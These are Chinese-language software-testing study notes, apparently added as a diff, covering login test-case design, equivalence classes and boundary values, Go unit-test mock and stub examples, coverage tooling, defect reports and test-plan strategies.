+(3)在其他终端修改密码后,本终端是否自动下线?下线后,使用原密码能否继续登录? +3、退出登录 +(1)退出登录是否有记住账号或记住密码功能 +(2)退出登录后,再次输入密码登录 +4、数据同步 +(1)第一次登录时,数据的同步情况,如个人头像,好友列表等 +(2)本终端切换其他账号登录后,数据的同步情况,日志记录情况,如:用户文件夹是否自动创建 +5、账号互踢 +(1)不同页面下被踢,如:后台运行时被踢,进入前台查看反应;前台运行时一级、二级页面下被踢能否提示正确并重 定向到登录界面 +(2)本终端被踢下线后点击登录能否再次登录 +6、密码错误限制次数 +(1)密码输入错误是否有最大次数限制?分别测试最大值-1、最大值、最大值+1时的输错密码情况 +(2)超过最大次数限制后,是否采取强制手段限制登录或对账号暂时冻结处理 +(3)超过最大次数限制后,分别输入正确的密码和错误的密码再次登录 +7、安全性 +(1)本终端用户已登录,在其他终端尝试登录本用户账号登录失败时、本终端是否有账号异常操作的安全提示 +(2)输入密码时是否有安全键盘模式?点击密码输入框是否能调起安全键盘?(参考各大手机银行APP) +8、网络相关 +(1)无网络模式下登录,是否给出“网络未连接”或“网络异常”的提示及提示是否正确 +(2)第一次登录请求超时后(服务器出问题,随后恢复正常),再次请求登录能否登录成功 +(3)第一次无网络情况下登录失败后,再次连接网络并登录 +(4)正在登录过程中,遇到网络切换,如(4G切换到WiFi环境时)能否正常登录 +9、其他 +(1)已登录的用户,杀死APP进程后,再次打开APP是否依然为已登录状态 + + +#### 其他细节 + +1、为空和输入空字符串时的校验是否一致; +2、使用中文键盘输入字母时和使用英文键盘输入字母时传给后端的字符长度是否一致; +3、登录成功后的session时效设置; +4、安全性方面异地登录校验、更换设备登录校验、登录信息异常是否考虑账号冻结停用;是否允许第三方工具平台存储密码。 + + +#### 资产风险 + +涉及资产风险的,对登录设备和地区检测 + + +#### 浏览器缓存 + +否用到缓存 + +#### 用户体验 + +1、输入账号密码时对键盘格式是否有要求比如数字键盘; +2、密码一栏是否需要设置明暗码切换按钮; +3、输入账号密码格式不规范时是否将按钮设置为不可点击; +4、输入栏是否设置快速删除按钮 + +#### 总结 + +> 用例设计考验的是Tester的思维能力,而测试思维方式的培养是一个持续的过程。本人很认可《你的灯亮着吗》里的一段话:每一个解决方案都是下一个问题的来源,要真正理解问题,那至少对自己的解决方案提出三个可能出错的地方。 + +首先,对于高质量的软件测试,用例设计不仅需要考虑明确的显式功能性需求,还要涉及兼容性、安全性和性能等一系列的非功能性需求,这些非功能性需求对软件系统的质量有着举足轻重的作用。 + + +## 02 | 如何设计好的测试用例 + +#### 思考: + +> 什么是好的测试用例? + +> 好的”测试用例必须具备哪些特征? + +> 用什么方法来量化测试用例发现缺陷的可能性? + +> 如何评估是否还存在未被发现的缺陷?如果软件中根本就没有错误了呢? + + +“好的”测试用例一定是一个完备的集合,它能够覆盖所有等价类以及各种边界值,而跟能否发现缺陷无关。 + +如果把被测试软件看作一个池塘,软件缺陷是池塘中的鱼,建立测试用例集的过程就像是在编织一张捕渔网。“好的”测试用例集就是一张能够覆盖整个池塘的大渔网,只要池塘里有鱼,这个大渔网就一定能把鱼给捞上来。 + + +#### “好的”测试用例必须具备哪些特征? + +一个“好的”测试用例,必须具备以下三个特征。 +整体完备性: “好的”测试用例一定是一个完备的整体,是有效测试用例组成的集合,能够完全覆盖测试需求。 +等价类划分的准确性: 指的是对于每个等价类都能保证只要其中一个输入测试通过,其他输入也一定测试通过。 +等价类集合的完备性: 需要保证所有可能的边界值和边界条件都已经正确识别。 + + +#### 最常用的软件测试方法 + +对大多数的软件测试而言,综合使用等价类划分、边界值分析和错误推测这三大类方法就足够了。 + +白盒测试方法有:1、语句覆盖;2、判定覆盖;3、条件覆盖;4、判定/条件覆盖;5、组合覆盖;6、路径覆盖;7、分支覆盖。 +灰盒测试多用于应用程序的集成测试阶段,不仅关注针对集成系统的输入、输出值的正确性,同时也对程序的内部执行逻辑进行分析、监测或者验证。 + +黑盒测试关注系统的输入输出接口的正确性,但无法对应用程序内部的错误进行分析和定位 +白盒测试可以分别严格测试每个函数/模块,但是无法反映系统集成的缺陷,并且测试的效率太低 + + + +> 等价类划分方法-(等价类划分的关键就是找出无效等价类) + +等价类中任意一个输入数据对于揭露程序中潜在错误都具有同等效果。后续我们只要从每个等价类中任意选取一个值进行测试,就可以用少量具有代表性的测试输入取得较好的测试覆盖结果。 + + +一个具体的例子:学生信息系统中有一个“考试成绩”的输入项,成绩的取值范围是 0~100 之间的整数,考试成绩及格的分数线是 60。 +为了测试这个输入项,显然不可能用 0~100 的每一个数去测试。通过需求描述可以知道,输入 0~59 之间的任意整数,以及输入 60~100 之间的任意整数,去验证和揭露输入框的潜在缺陷可以看做是等价的。 +那么这就可以在 0~59 和 60~100 之间各随机抽取一个整数来进行验证。这样的设计就构成了所谓的“有效等价类”。 +你不要觉得进行到这里,已经完成了等价类划分的工作,因为等价类划分方法的另一个关键点是要找出所有“无效等价类”。显然,如果输入的成绩是负数,或者是大于 100 的数等都构成了“无效等价类”。 +在考虑了无效等价类后,最终设计的测试用例为: +有效等价类 1:0~59 之间的任意整数; +有效等价类 2:59~100 之间的任意整数; +无效等价类 1:小于 0 的负数; +无效等价类 2:大于 100 的整数; +无效等价类 3:0~100 之间的任何浮点数; +无效等价类 4:其他任意非数字字符 + + +> 边界值分析方法 + +边界值分析是对等价类划分的补充,你从工程实践经验中可以发现,大量的错误发生在输入输出的边界值上,所以需要对边界值进行重点测试,通常选取正好等于、刚刚大于或刚刚小于边界的值作为测试数据。 +我们继续看学生信息系统中“考试成绩”的例子,选取的边界值数据应该包括:-1,0,1,59,60,61,99,100,101。 + +> 错误推测方法 + +被测试软件的需求理解以及设计实现的细节把握,当然还有个人的能力。 + +比如,Web 界面的 GUI 功能测试,需要考虑浏览器在有缓存和没有缓存下的表现;Web Service 的 API 测试,需要考虑被测 API 所依赖的第三方 API 出错下的处理逻辑;对于代码级的单元测试,需要考虑被测函数的输入参数为空情况下的内部处理逻辑等等。由此可见,这些测试用例的设计都是基于曾经遇到的问题而进行的错误推测 + + + +#### 如何设计好的测试用例 + + +只有真正理解了原始业务需求之后,才有可能从业务需求的角度去设计针对性明确、从终端用户使用场景考虑的端到端(End-2-End)的测试用例集。这个阶段的测试用例设计,主要目的是验证各个业务需求是否被满足,主要采用基于黑盒的测试设计方法。 + + +在具体的用例设计时,首先需要搞清楚每一个业务需求所对应的多个软件功能需求点,然后分析出每个软件功能需求点对应的多个测试需求点,最后再针对每个测试需求点设计测试用例。 + + +业务需求点——软件功能需求点——测试需求点 + + + +> 测试用例本身的设计上需要关注点 + +软件功能需求出发: + +全面地、无遗漏地识别出测试需求是至关重要的,这将直接关系到用例的测试覆盖率。比如,如果你没有识别出用户登录功能的安全性测试需求,那么后续设计的测试用例就完全不会涉及安全性,最终造成重要测试漏洞。 + + +在测试的需求点上: + +综合运用等价类划分、边界值分析和错误推测方法来全面地设计测试用例。以“用户登录”的功能性测试需求为例,你首先应该对“用户名”和“密码”这两个输入项分别进行等价类划分,列出对应的有效等价类和无效等价类,对于无效等价类的识别可以采用错误猜测法(比如,用户名包含特殊字符等),然后基于两者可能的组合,设计出第一批测试用例。 +等价类划分完后,你需要补充“用户名”和“密码”这两个输入项的边界值的测试用例,比如用户名为空(NULL)、用户名长度刚刚大于允许长度等。 + +从被测试软件的基础架构上: + +作为测试工程师,切忌不能把整个被测系统看作一个大黑盒,你必须对内部的架构有清楚的认识,比如数据库连接方式、数据库的读写分离、消息中间件 Kafka 的配置、缓存系统的层级分布、第三方系统的集成等等。 + +从被测试软件的设计和实现细节上: + +单单根据测试需求点设计的用例,只能覆盖“表面”的一层,往往会覆盖不到内部的处理流程、分支处理,而没有覆盖到的部分就很可能出现缺陷遗漏。在具体实践中,你可以通过代码覆盖率指标找出可能的测试遗漏点。同时,切忌不要以开发代码的实现为依据设计测试用例。因为开发代码实现的错误会导致测试用例也出错,所以你应该根据原始需求设计测试用例。 + +从需求覆盖率和代码覆盖率: + +需要引入需求覆盖率和代码覆盖率来衡量测试执行的完备性,并以此为依据来找出遗漏的测试点。 关于什么是需求覆盖率和代码覆盖率,我会在后续的文章中详细介绍。 + + +#### 总结 + +好的测试用例是一个完备的集合,覆盖所有等价类以及各种边界值,能否发现缺陷并不是衡量测试用例好坏的标准。 + +好的测试用例需要从软件功能需求、测试需求、基础架构、实现细节、代码覆盖、需求覆盖。 + +测试人员应该是对全线产品逻辑细节最熟知的,需求设计的业务漏洞也需要测试来把控 + + + +## 03 | 什么是单元测试 + +思考: + +> 什么是单元测试? + +> 单元测试的用例设计 + +> 单元测试的输入数据? + +> 单元测试的输出数据? + +> 什么是桩代码? + +> 什么是驱动代码? + +> 什么是Mock代码? + + +#### 什么是单元测试? +单元测试是指,对软件中的最小可测试单元在与程序其他部分相隔离的情况下进行检查和验证的工作,这里的最小可测试单元通常是指函数或者类。 + +单元测试的实施过程还可以帮助开发工程师改善代码的设计与实现,并能在单元测试代码里提供函数的使用示例,因为单元测试的具体表现形式就是对函数以各种不同输入参数组合进行调用,这些调用方法构成了函数的使用说明 + +#### 单元测试的方法 + +基本方法和主要技术手段,比如什么是驱动代码、桩代码和 Mock 代码等。 + +#### 单元测试的用例设计 + +单元测试的用例是一个“输入数据”和“预计输出”的集合,在明确了代码需要实现的逻辑功能的基础上,什么输入,应该产生什么输出”。 + +#### 单元测试的输入数据? + +如果你想当然的认为只有被测试函数的输入参数是“输入数据”的话,那就大错特错了。 + +被测试函数的输入参数; +被测试函数内部需要读取的全局静态变量; +被测试函数内部需要读取的成员变量; +函数内部调用子函数获得的数据; +函数内部调用子函数改写的数据; +嵌入式系统中,在中断调用时改写的数据; + + +#### 单元测试的输出数据? + +如果没有明确的预计输出,那么测试本身就失去了意义。同样地,“预计输出” 绝对不是只有函数返回值这么简单,还应该包括函数执行完成后所改写的所有数据。 具体来看有以下几大类: +被测试函数的返回值; +被测试函数的输出参数; +被测试函数所改写的成员变量; +被测试函数所改写的全局变量; +被测试函数中进行的文件更新; +被测试函数中进行的数据库更新; +被测试函数中进行的消息队列更新; + + +#### 驱动代码,桩代码和 Mock 代码 + +驱动代码是用来调用被测函数的,而桩代码和 Mock 代码是用来代替被测函数调用的真实代码的。 + + +驱动代码(Driver)指调用被测函数的代码,在单元测试过程中,驱动模块通常包括调用被测函数前的数据准备、调用被测函数以及验证相关结果三个步骤。驱动代码的结构,通常由单元测试的框架决定。 + +桩代码(Stub)是用来代替真实代码的临时代码。 比如,某个函数 A 的内部实现中调用了一个尚未实现的函数 B,为了对函数 A 的逻辑进行测试,那么就需要模拟一个函数 B,这个模拟的函数 B 的实现就是所谓的桩代码。 + + +桩函数要具有与原函数完全相同的原形,仅仅是内部实现不同,这样测试代码才能正确链接到桩函数; +用于实现隔离和补齐的桩函数比较简单,只需保持原函数的声明,加一个空的实现,目的是通过编译链接; +实现控制功能的桩函数是应用最广泛的,要根据测试用例的需要,输出合适的数据作为被测函数的内部输入 + + +在我看来,Mock 代码和桩代码的本质区别是:测试期待结果的验证(Assert and Expectiation) + + +Mock和Stub都是用于模拟代码行为的,但它们的用途和关注点有些不同。下面用Go代码来举例说明这两者的区别。 + +Mock代码示例 +Mock关注方法是否被调用,被怎样调用,以及调用次数等。 + +使用Go的popular mocking库 github.com/stretchr/testify/mock。 + +```go +package main + +import ( + "testing" + "github.com/stretchr/testify/mock" +) + +type MyMockedObject struct { + mock.Mock +} + +func (m *MyMockedObject) DoSomething(number int) (bool, error) { + args := m.Called(number) + return args.Bool(0), args.Error(1) +} + +func TestSomethingWithMock(t *testing.T) { + testObject := new(MyMockedObject) + + // 设置期望 + testObject.On("DoSomething", 123).Return(true, nil) + + // 调用代码 + result, err := testObject.DoSomething(123) + + // 验证mock方法是否如期望那样被调用 + testObject.AssertExpectations(t) + + // 验证返回值 + if result != true || err != nil { + t.Fail() + } +} +``` + +Stub代码示例 +Stub主要用于控制代码路径,不关心是否和如何被调用。 + +```go +package main + +import ( + "testing" +) + +type MyStubObject struct { + DoSomethingFunc func(int) (bool, error) +} + +func (m *MyStubObject) DoSomething(number int) (bool, error) { + if m.DoSomethingFunc != nil { + return m.DoSomethingFunc(number) + } + return false, nil +} + +func TestSomethingWithStub(t *testing.T) { + testObject := &MyStubObject{ + DoSomethingFunc: func(number int) (bool, error) { + if number == 123 { + return true, nil + } + return false, nil + }, + } + + // 调用代码 + result, err := testObject.DoSomething(123) + + // 验证返回值 + if result != true || err != nil { + t.Fail() + } +} +``` + +在Mock的例子中,我们使用了testify/mock库来设置期望并在最后验证这些期望是否得到满足。 +在Stub的例子中,我们直接在测试代码中设置了一个匿名函数来模拟DoSomething方法的行为。 +这样,你可以清楚地看到Mock和Stub在测试中的不同用途和关注点。 + + +#### 如何开展单元测试? + + +需要确定单元测试框架的选型,这和开发语言直接相关。比如,Java 最常用的单元测试框架是 Junit 和 TestNG;C/C++ 最常用的单元测试框架是 CppTest 和 Parasoft C/C++test;框架选型完成后,你还需要对桩代码框架和 Mock 代码框架选型,选型的主要依据是开发所采用的具体技术栈。 +通常,单元测试框架、桩代码 /Mock 代码的选型工作由开发架构师和测试架构师共同决定。 + +为了能够衡量单元测试的代码覆盖率,通常你还需要引入计算代码覆盖率的工具。不同的语言会有不同的代码覆盖率统计工具,比如 Java 的 JaCoCo,JavaScript 的 Istanbul。在后续的文章中,我还会详细为你介绍代码覆盖率的内容。 + + +最后你需要把单元测试执行、代码覆盖率统计和持续集成流水线做集成,以确保每次代码递交,都会自动触发单元测试,并在单元测试执行过程中自动统计代码覆盖率,最后以“单元测试通过率”和“代码覆盖率”为标准来决定本次代码递交是否能够被接受。 + + + +## 04 | 什么自动化测试 + + +> 什么是自动化测试? + +> 自动化测试的本质是先写一段代码,然后去测试另一段代码,所以实现自动化测试用例本身属于开发工作,需要投入大量的时间和精力,并且已经开发完成的用例还必须随着被测对象的改变而不断更新,你还需要为此付出维护测试用例的成本。 + +> 什么样的项目适合自动化测试? + +第一,需求稳定,不会频繁变更。 +第二,研发和维护周期长,需要频繁执行回归测试。 +第三,需要在多种平台上重复运行相同测试的场景。 +比较稳定的软件功能进行自动化测试,对变动较大或者需求暂时不明确的功能进行手工测试,最终目标是用 20% 的精力去覆盖 80% 的回归测试。 + +## 05 | 软件开发各阶段都有哪些自动化测试技术 + +#### 单元测试的自动化技术 + +首先,你可能认为单元测试本身就是自动化的,因为它根据软件详细设计采用等价类划分和边界值分析方法设计测试用例,在测试代码实现后再以自动化的方式统一执行。 +这个观点非常正确,但这仅仅是一部分,并没有完整地描述单元测试“自动化”的内涵。从广义上讲,单元测试阶段的“自动化”内涵不仅仅指测试用例执行的自动化,还应该包含以下五个方面: +用例框架代码生成的自动化; +部分测试输入数据的自动化生成; +自动桩代码的生成; +被测代码的自动化静态分析; +测试覆盖率的自动统计与分析。 +你可能感觉这些内容有些陌生,不过没关系,下面我就详细地跟你说说每一条的具体含义。 + + +用例框架代码生成的自动化: 通常来说,你可以使用测试框架(例如 Go 的标准 testing 包)来编写测试用例。 + +```go +func TestAdd(t *testing.T) { + result := Add(2, 3) + if result != 5 { + t.Errorf("Expected 5, got %d", result) + } +} +``` +部分测试输入数据的自动化生成: 你可以编写代码来自动生成测试数据。 + +```go +func TestAddWithRandomData(t *testing.T) { + for i := 0; i < 10; i++ { + a, b := rand.Intn(100), rand.Intn(100) + result := Add(a, b) + if result != a+b { + t.Errorf("For %d and %d, expected %d, got %d", a, b, a+b, result) + } + } +} +``` +自动桩代码的生成: 有时,你可能需要模拟外部依赖。在 Go 中,这通常通过接口和模拟(mock)对象来完成。 + +```go +type DatabaseMock struct{} +func (db *DatabaseMock) Save(data string) error { + // Mock implementation here + return nil +} +``` +被测代码的自动化静态分析: 可以使用工具如 golint 或 go vet 来进行代码静态分析。 + +```shell +go vet ./... +golint ./... +``` +测试覆盖率的自动统计与分析: Go 语言的测试工具允许你收集测试覆盖率。 + +```shell +go test -cover ./... +``` +go vet 常见警告 + +锁复制警告: + +不要直接复制含有 sync.Mutex 或 sync.Map 的结构体。 +而是应该使用指针或特定方法来共享这样的结构体。 +```go +// 不好的做法 +newMap := oldMap // 这里复制了锁 + +// 好的做法 +newMap := &oldMap // 使用指针 +``` +结构体字面量警告: 使用键化(keyed)的字段来初始化结构体。 + +```go +// 不好的做法 +x := MyStruct{"value1", "value2"} + +// 好的做法 +x := MyStruct{Field1: "value1", Field2: "value2"} +``` + +#### 集成测试的自动化技术 + +代码级集成测试和单元测试非常相似,它们都是对被测试函数以不同的输入参数组合进行调用并验证结果,只不过代码级集成测试的关注点,更多的是软件模块之间的接口调用和数据传递 + +代码级集成测试与单元测试最大的区别只是,代码级集成测试中被测函数内部调用的其他函数必须是真实的,不允许使用桩代码代替,而单元测试中允许使用桩代码来模拟内部调用的其他函数。 + + +#### Web Service 测试的自动化技术 + + +对于基于代码的 API 测试用例,通常包含三大步骤: +准备 API 调用时需要的测试数据; +准备 API 的调用参数并发起 API 的调用; +验证 API 调用的返回结果。 + + +同样地,Web Service 测试“自动化”的内涵不仅仅包括 API 测试用例执行的自动化,还包括以下四个方面: +测试脚手架代码的自动化生成; +部分测试输入数据的自动生成; +Response 验证的自动化; +基于 SoapUI 或者 Postman 的自动化脚本生成。 + + + +理解 Web Service 测试自动化的多个方面确实需要一些实际代码来进一步解释。由于问题涉及多个部分,我将用 Go 语言针对其中几个关键点给出简单的示例。 + +测试脚手架代码的自动化生成 +在 Go 语言中,你可以使用现有的测试框架如 testing 包来简化测试脚手架的创建。 + +```go + +import ( + "net/http" + "testing" +) + +func TestAPICall(t *testing.T) { + // 调用 API + resp, err := http.Get("http://example.com/api/resource") + if err != nil { + t.Fatalf("API 请求失败: %v", err) + } + defer resp.Body.Close() + + // TODO: Response 验证的空实现 +} +``` + +部分测试输入数据的自动生成 +Go 的 testing 包允许你使用表格驱动的测试,这里可以加入自动生成的输入数据。 + +```go +func TestAPICallWithData(t *testing.T) { + testCases := []struct { + input string + output string + }{ + // 自动生成的测试数据 + } + + for _, tc := range testCases { + // 调用 API 并验证输出 + } +} +``` + +Response 验证的自动化 +假设你有一个函数 validateResponse 来自动比较 Response。 + +```go +func validateResponse(t *testing.T, resp *http.Response) { + // 自动化验证状态码、结构和字段 +} +``` + +从 Postman 的 JSON 输出生成 Go 测试代码是一个多步骤过程。下面是一个概念性的步骤列表,以及一个简单的 Go 示例,展示如何从一个假定的 Postman JSON 格式开始。 + +步骤: +读取 Postman 导出的 JSON 文件。 +解析 JSON 文件以获取 API 测试用例的详细信息,如请求类型、URL、请求头、请求体等。 +使用这些信息生成 Go 语言测试代码。 +Go 代码示例 +这个示例只是一个非常简化的版本,用于演示核心概念。 + +假设我们有一个简单的 Postman JSON 输出,其中只有一个 GET 请求。 + +```json +{ + "info": { + "_postman_id": "some_id", + "name": "Sample Postman Collection" + }, + "item": [ + { + "name": "Get Resource", + "request": { + "method": "GET", + "url": "http://example.com/api/resource" + } + } + ] +} +``` +Go 代码示例: + +```go +package main + +import ( + "encoding/json" + "fmt" + "io/ioutil" + "os" +) + +type PostmanCollection struct { + Info struct { + PostmanID string `json:"_postman_id"` + Name string `json:"name"` + } `json:"info"` + Item []struct { + Name string `json:"name"` + Request struct { + Method string `json:"method"` + URL string `json:"url"` + } `json:"request"` + } `json:"item"` +} + +func main() { + // 1. 读取 Postman 导出的 JSON 文件 + data, err := ioutil.ReadFile("postman_collection.json") + if err != nil { + fmt.Println("Error reading file:", err) + return + } + + // 2. 解析 JSON 文件 + var collection PostmanCollection + if err := json.Unmarshal(data, &collection); err != nil { + fmt.Println("Error unmarshalling JSON:", err) + return + } + + // 3. 生成 Go 测试代码 + for _, item := range collection.Item { + fmt.Printf("func Test%s(t *testing.T) {\n", item.Name) + fmt.Printf("\tresp, err := http.%s(\"%s\")\n", item.Request.Method, item.Request.URL) + fmt.Println("\tif err != nil {") + fmt.Println("\t\tt.Fatalf(\"API request failed: %v\", err)") + fmt.Println("\t}") + fmt.Println("\tdefer resp.Body.Close()") + fmt.Println("\t// TODO: Add response validation") + fmt.Println("}\n") + } + + // 你可以将生成的代码保存到一个 .go 文件中,然后在项目中使用。 +} +``` +这个例子相当基础,但它展示了如何从 Postman 的 JSON 输出生成 Go 语言测试代码的基本思路。你可以根据需要扩展这个示例,以处理更多的 HTTP 方法、请求头、请求体等。 + + +## 06 | 测试覆盖率 + +测试覆盖率通常被用来衡量测试的充分性和完整性,从广义的角度来讲,测试覆盖率主要分为两大类,一类是面向项目的需求覆盖率,另一类是更偏向技术的代码覆盖率。 + + +需求覆盖率 +需求覆盖率是指测试对需求的覆盖程度,通常的做法是将每一条分解后的软件需求和对应的测试建立一对多的映射关系,最终目标是保证测试可以覆盖每个需求,以保证软件产品的质量。 + +代码覆盖率 +简单来说,代码覆盖率是指,至少被执行了一次的条目数占整个条目数的百分比。 + + +代码覆盖率工具的实现原理 + + +生成覆盖率文件 +运行 go test 命令并附加 -coverprofile 参数: + +```bash +go test ./... -coverprofile=coverage.out +``` +这将会运行所有测试,并将覆盖率数据保存在 coverage.out 文件中。 + +查看覆盖率报告 +使用 go tool cover 命令来查看覆盖率报告: + +```shell +go tool cover -func=coverage.out +``` +这将输出每个函数的覆盖率。 + +生成覆盖率 HTML 报告 +你还可以生成一个 HTML 报告,该报告以可视化的方式显示哪些行被覆盖了: + +```shell +go tool cover -html=coverage.out +``` +这将打开一个浏览器窗口,显示覆盖率数据。 + +这些只是基本用法。你还可以通过其他标志和工具进行更为复杂的覆盖率分析。比如,有第三方工具和服务(如 Codecov、Coveralls 等)能帮助你更深入地分析覆盖率数据。 + +这些工具通常用于持续集成(CI)流程中,以自动化的方式持续跟踪代码覆盖率的变化。 + + +#### 本地安装codecov 进行代码分析 + +```shell +pip install codecov +``` + +在 Go 语言中,go test 命令用于运行测试,并且它支持生成代码覆盖率报告。go test 命令的 -cover 选项可以用于启用覆盖率收集。Go 的测试工具背后使用了几个关键技术来实现代码覆盖率收集: + +源代码插桩 +Go 的测试工具会对源代码进行插桩(Instrumentation),即在源代码中自动插入一些额外的代码行以跟踪哪些代码路径被执行过。例如,通过添加计数器或者布尔标志。 + +运行时数据收集 +当插桩后的代码被执行时,这些额外添加的代码行会收集数据,比如哪些函数被调用了,哪些分支被执行了等。 + +数据分析与报告 +执行完测试后,收集到的覆盖率数据通常会保存到一个文件中(例如,.out 文件)。然后,这个文件可以被进一步分析以生成覆盖率报告。报告一般会以百分比的形式表示被测试代码覆盖的程度。 + +可视化 +除了数字报告,一些工具还提供代码覆盖的可视化,这通常会在源代码旁边用颜色标记出哪些代码被执行过,哪些没有。 + +这就是 Go 代码覆盖率工具大致的工作原理。它们通过源代码插桩,运行时数据收集,以及后处理分析来提供代码覆盖率信息。 + + + +一个简单的例子来模拟源代码插桩和运行时数据收集的过程: + +原始代码 +假设我们有一个简单的函数,用于判断一个数是否为偶数: + +```go +func IsEven(n int) bool { + return n % 2 == 0 +} +``` +插桩后的代码 +插桩后,我们可能会在函数内部添加一些额外的代码来收集数据。例如,添加一个计数器: + +```go +var IsEvenCalled int = 0 // 计数器,记录 IsEven 函数被调用的次数 +var EvenCount int = 0 // 计数器,记录返回 true 的次数 +var OddCount int = 0 // 计数器,记录返回 false 的次数 + +func IsEven(n int) bool { + IsEvenCalled++ // 每次调用 IsEven 函数,计数器加 1 + + result := n % 2 == 0 + if result { + EvenCount++ // 如果是偶数,EvenCount 计数器加 1 + } else { + OddCount++ // 如果是奇数,OddCount 计数器加 1 + } + + return result +} +``` +运行时数据收集 +当你调用 IsEven 函数时,计数器会更新: + +```go +func main() { + fmt.Println(IsEven(2)) // 输出:true + fmt.Println(IsEven(3)) // 输出:false + + // 输出调用统计 + fmt.Println("IsEvenCalled:", IsEvenCalled) // 输出:2 + fmt.Println("EvenCount:", EvenCount) // 输出:1 + fmt.Println("OddCount:", OddCount) // 输出:1 +} +``` +这样,我们就能够知道 IsEven 函数被调用了多少次,以及它返回了多少次 true 或 false。 + + +用 Go 代码来模拟 Java 的 On-The-Fly 和 Offline 插桩模式可能有些不太直接,因为 Go 和 Java 在这方面有根本的不同。 + +On-The-Fly 模式 +这个模式通常是在运行时动态地修改或注入代码。在 Java 中,这通常是通过 Java Agent 和类装载器实现的。Go 语言没有内置的动态代码修改机制,但可以通过一些设计模式或库来模拟。 + +```go +type Instrument interface { + Execute() bool +} + +type OriginalCode struct{} + +func (o *OriginalCode) Execute() bool { + // 原始代码逻辑 + return true +} + +type OnTheFlyInstrumented struct { + Original Instrument +} + +func (o *OnTheFlyInstrumented) Execute() bool { + // 插桩代码 + fmt.Println("On-The-Fly: Before execute") + result := o.Original.Execute() + fmt.Println("On-The-Fly: After execute") + return result +} +``` +使用: + +```go +func main() { + original := &OriginalCode{} + instrumented := &OnTheFlyInstrumented{Original: original} + instrumented.Execute() +} +``` +Offline 模式 +这个模式通常是在编译阶段或者测试之前进行代码注入或修改。 + +你可以先生成一个被修改过的 .go 文件或直接修改原始 .go 文件,然后再编译它。 + +例如,原始代码文件 original.go: + +```go +func Execute() bool { + return true +} +``` +修改为 offline_instrumented.go: + +```go +func Execute() bool { + // 插桩代码 + fmt.Println("Offline: Before execute") + result := true // 原始代码逻辑 + fmt.Println("Offline: After execute") + return result +} +``` +然后使用这个新版本的 offline_instrumented.go 进行编译和测试。 + +这两个例子都是简化的,但希望能帮助你理解 On-The-Fly 和 Offline 插桩模式的基本概念。在实际应用中,这些任务通常由专门的工具和库来完成。 + + +## 07 | 软件缺陷报告? + + +#### 缺陷概述: + +缺陷概述通常会提供更多概括性的缺陷本质与现象的描述,是缺陷标题的细化。 + + +#### 缺陷影响: + +缺陷影响决定了缺陷的优先级(Priority)和严重程度(Severity),开发经理会以此为依据来决定修复该缺陷的优先级;而产品经理会以此为依据来衡量缺陷的严重程度,并决定是否要等该缺陷被修复后才能发布产品。 + + +#### 环境配置 +环境配置用以详细描述测试环境的配置细节,为缺陷的重现提供必要的环境信息 + +#### 前置条件 +前置条件是指测试步骤开始前系统应该处在的状态,其目的是减少缺陷重现步骤的描述。合理地使用前置条件可以在描述缺陷重现步骤时排除不必要的干扰,使其更有针对性。 + + +#### 缺陷重现 + +操作步骤通常是从用户角度出发来描述的,每个步骤都应该是可操作并且是连贯的,所以往往会采用步骤列表的表现形式。 + + +#### 期望结果和实际结果 + +期望结果和实际结果通常和缺陷重现步骤绑定在一起,在描述重现步骤的过程中,需要明确说明期待结果和实际结果。期待结果来自于对需求的理解,而实际结果来自于测试执行的结果。 + + +#### 根原因分析(Root Cause Analysis) + +根原因分析就是我们平时常说的 RCA,如果你能在发现缺陷的同时,定位出问题的根本原因,清楚地描述缺陷产生的原因并反馈给开发工程师,那么开发工程师修复缺陷的效率就会大幅提升,而且你的技术影响力也会被开发认可。 + + +## 08 | 测试计划? + + +#### 测试策略? + + + +#### 功能测试 + +应用场景: +验证软件的特定功能是否符合需求。 + +独特的测试方法: +单元测试:针对代码的最小可测试单元。 +黑盒测试:不关注内部结构,只测试功能。 + +重点关注要点: +边界条件 +数据有效性 +错误和异常处理 + +具体举例: +对输入框进行空值、超长值、特殊字符输入测试。 + +#### 兼容性测试 + +应用场景: +在不同硬件、操作系统、数据库、浏览器环境下验证软件。 + +独特的测试方法: +跨浏览器测试。 +跨平台测试。 + +重点关注要点: +不同操作系统 +浏览器版本 +屏幕尺寸 + +具体举例: +在Windows和MacOS上运行软件并对比结果。 + +#### 性能测试 + +应用场景: +验证软件在高负载下的响应时间和稳定性。 + +独特的测试方法: +压力测试:模拟超出正常运行条件的场景。 +负载测试:模拟正常或峰值负载的场景。 + +重点关注要点: +响应时间 +系统吞吐量 +资源利用率 + +具体举例: +用1000个并发用户访问网站,观察响应时间。 + +#### 接口测试 + +应用场景: +验证系统组件间的数据交换是否正确。 + +独特的测试方法: +REST/SOAP API测试。 +数据库接口测试。 + +重点关注要点: +数据格式 +请求和响应时间 +错误码处理 + + +具体举例: +发送一个无效的JSON请求到API,检查是否返回适当的错误码。 + + +#### 集成测试 + +应用场景: +验证不同模块或服务组合后的整体工作性。 + +独特的测试方法: +顶部下行或底部上行逐步集成。 +大批量集成。 + +重点关注要点: +数据流 +功能交互 +性能影响 + +具体举例: +在一个电商应用中,确保购物车和支付模块正确集成。 + +#### 安全测试 + +应用场景: +验证软件对于各种攻击的抵抗能力。 + +独特的测试方法: +SQL注入。 +跨站脚本(XSS)。 + +重点关注要点: +认证和授权 +数据加密 +注入攻击 + +具体举例: +尝试在没有登录的情况下访问一个需要授权的页面。 + +#### 容量验证 + +应用场景: +确保软件能在预期的规模和大小下正常运行。 + +独特的测试方法: +数据量测试。 +用户并发量测试。 + +重点关注要点: +系统扩展性 +数据库容量 +网络带宽 + +具体举例: +测试当数据库存储达到90%时系统的行为。 + +#### 安装测试 + +应用场景: +验证软件安装和卸载过程的正确性。 + +独特的测试方法: +完全安装/卸载。 +自定义安装。 + +重点关注要点: +安装时间 +初始设置 +卸载残留 + +具体举例: +验证软件在不同磁盘空间下能否成功安装。 + +#### 故障恢复测试 + +应用场景: +验证系统在发生故障后能否成功恢复。 + +独特的测试方法: +强制重启。 +数据库故障模拟。 +每种测试类型都有其特 + +重点关注要点: +数据恢复 +系统日志 +通知和警告 + +具体举例: +故意关闭数据库服务,看是否能自动恢复并发送警告邮件。 + +#### 举例 + +比如,对用户登录模块来讲,“用户无法正常登录”和“用户无法重置密码”这两个潜在问题,对业务的影响孰轻孰重一目了然,所以,你应该按照优先级来先测“用户正常登录”,再测“用户重置密码”。 + +测试策略还需要说明,采用什么样的测试类型和测试方法。 这里需要注意的是,不仅要给出为什么要选用这个测试类型,还要详细说明具体的实施方法。 + +第一,功能测试 +对于功能测试,你应该根据测试需求分析的思维导图来设计测试用例。 